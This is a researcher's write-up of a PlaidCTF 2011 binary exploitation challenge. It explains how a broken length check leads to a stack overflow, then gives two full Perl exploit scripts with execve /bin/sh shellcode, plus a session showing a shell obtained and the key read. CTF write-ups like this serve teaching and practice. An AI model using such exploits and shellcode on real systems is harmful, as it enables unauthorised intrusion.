Joel Eriksson
Vulnerability researcher, exploit developer and reverse-engineer. Have spoken at BlackHat, DefCon and the RSA conference. CTF player. Puzzle solver (Cicada 3301, Boxen)

PlaidCTF 2011 – 19 – Another small bug – 250 pts

This is my writeup for the nineteenth challenge in the PlaidCTF 2011 competition. The information for the challenge was:

“This time, let’s attack /opt/pctf/z2/exploitme.
ssh username@a5.amalgamated.biz”

Using IDA Pro I can see that the program takes one command line argument, which is interpreted as an unsigned integer representing the number of bytes to read from stdin into a 512 byte buffer. There is a length check that is meant to ensure that we don’t pass more than 512 as the length argument. However, it also checks the return value of a function that is supposed to log the error.

.text:080481BA        mov     eax, [ebp+argv]
.text:080481BD        add     eax, 4
.text:080481C0        mov     eax, [eax]
.text:080481C2        mov     [esp], eax
.text:080481C5        call    strtoul
.text:080481CA        mov     [esp+21Ch], eax
.text:080481D1        cmp     dword ptr [esp+21Ch], 511
.text:080481DC        jbe     short LengthOk
.text:080481DE        mov     dword ptr [esp], offset aAssertionLenSi ; "[assertion] len < sizeof(buffer)"
.text:080481E5        call    log_error
.text:080481EA        test    eax, eax
.text:080481EC        jz      short LengthOk
.text:080481EE        mov     dword ptr [esp], 2 ; status
.text:080481F5        call    myexit

Examining the log_error() function (named by me) we see that the logfile is /home/z2/logs/assert.log, and that the function returns zero if the file could not be opened. If we can somehow get fopen() to fail, that would mean the length check in the main() function becomes ineffective.

.text:08048137        mov     dword ptr [esp+4], offset aA ; "a"
.text:0804813F        mov     dword ptr [esp], offset aHomeZ2LogsAsse ; "/home/z2/logs/assert.log"
.text:08048146        call    fopen_unlocked
.text:0804814B        mov     [ebp+fp], eax
.text:0804814E        cmp     [ebp+fp], 0
.text:08048152        jnz     short LogError
.text:08048154        mov     eax, 0
.text:08048159        jmp     short Return

Normally, I would accomplish this by using

ulimit -n

to set the maximum number of open file descriptors before executing the vulnerable program, in this case we don't even need that though. :D Turns out the /home/z2/logs directory does not exist, and thus the fopen() will always fail. Since the buffer that is read into is located on the stack, we end up with a vanilla stackbased buffer overflow.

No stack canaries are used, and the executable does not even have NX enabled. The only hurdles we need to overcome are that the stack is randomized and that the binary is statically linked (so we can't jump to system() in libc). To deal with this, I chose to use a return-to-text based attack. For completeness I chose to make two variants of my exploit, one that relies on .bss being executable and one that would work with full NX too.

My first exploit simply returns into read(), with the stack set up to read from file descriptor 0 (stdin) to the .bss segment, and then return into that buffer. It relies on the following addresses, easily retrieved from the binary using IDA Pro:

  • 0x80489d8 - read()
  • 0x804b510 - .bss
z2_201@a5:~$ cat > z2-bss.pl
#!/usr/bin/perl

use FileHandle;

my $code =
    "\xeb\x10".                     #   jmp jumpme
                                    # callme:
    "\x5b".                         #   pop %ebx
    "\x31\xd2".                     #   xor %edx,%edx
    "\x88\x53\x07".                 #   mov %dl,0x7(%ebx)
    "\x52".                         #   push    %edx
    "\x53".                         #   push    %ebx
    "\x89\xe1".                     #   mov %esp,%ecx
    "\x31\xc0".                     #   xor %eax,%eax
    "\xb0\x0b".                     #   mov $0xb,%al
    "\xcd\x80".                     #   int $0x80
                                    # jumpme:
    "\xe8\xeb\xff\xff\xff".         #   call    callme
    "/bin/sh";                      # .ascii  "/bin/sh"

STDOUT->autoflush(1);

print
    "A"x532,                        # Pads
    pack("L",0x80489d8),            # read(0, bssaddr, 1024)
    pack("L",0x804b510),            # ret - .bss
    pack("L",0),                    # stdin
    pack("L",0x804b510),            # .bss
    pack("L",length($code)),"\n";   # 1024

sleep 1;

print $code;
^D
z2_201@a5:~$ (./z2-bss.pl; cat) | /opt/pctf/z2/exploitme 1000
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA؉�
id
uid=2200(z2_201) gid=1001(z2users) egid=1003(z2key) groups=1001(z2users)
cat /opt/pctf/z2/key
This is the key: EASTEREGGHUNTS_ARE_FUN

My second exploit returns into mmap() to map a writable and executable buffer at a fixed location, then into an address with six pops and a ret instruction to go past the mmap() arguments on the stack and return into read() just as in the previous exploit. This relies on the address of:

  • 0x8049abc - mmap()
  • 0x8048529 - pop * 6 + ret
  • 0x80489d8 - read()

This is the source of my second exploit:

#!/usr/bin/perl

use FileHandle;

my $code =
    "\xeb\x10".                     #   jmp jumpme
                                    # callme:
    "\x5b".                         #   pop %ebx
    "\x31\xd2".                     #   xor %edx,%edx
    "\x88\x53\x07".                 #   mov %dl,0x7(%ebx)
    "\x52".                         #   push    %edx
    "\x53".                         #   push    %ebx
    "\x89\xe1".                     #   mov %esp,%ecx
    "\x31\xc0".                     #   xor %eax,%eax
    "\xb0\x0b".                     #   mov $0xb,%al
    "\xcd\x80".                     #   int $0x80
                                    # jumpme:
    "\xe8\xeb\xff\xff\xff".         #   call    callme
    "/bin/sh";                      # .ascii  "/bin/sh"

STDOUT->autoflush(1);

print
    "A"x532,                        # Pads
    pack("L",0x8049abc),            # mmap()
    pack("L",0x8048529),            # pop*6 + ret
    pack("L",0xbabe1000),           # addr
    pack("L",0x1000),               # length
    pack("L",1|2|4),                # PROT_EXEC|PROT_WRITE|PROT_READ
    pack("L",0x10|0x2|0x20),        # MAP_FIXED|MAP_PRIVATE|MAP_ANON
    pack("L",0xffffffff),           # -1
    pack("L",0),                    # 0
    pack("L",0x80489d8),            # read(0, addr, 1024)
    pack("L",0x804b510),            # addr
    pack("L",0),                    # stdin
    pack("L",0x804b510),            # addr
    pack("L",length($code)),"\n";   # length

sleep 1;

print $code;

Note the call to sleep between the exploit buffer and the shellcode. This is to make sure that only the exploit buffer is read by the fgets(), and the shellcode by the call to read() that I set up.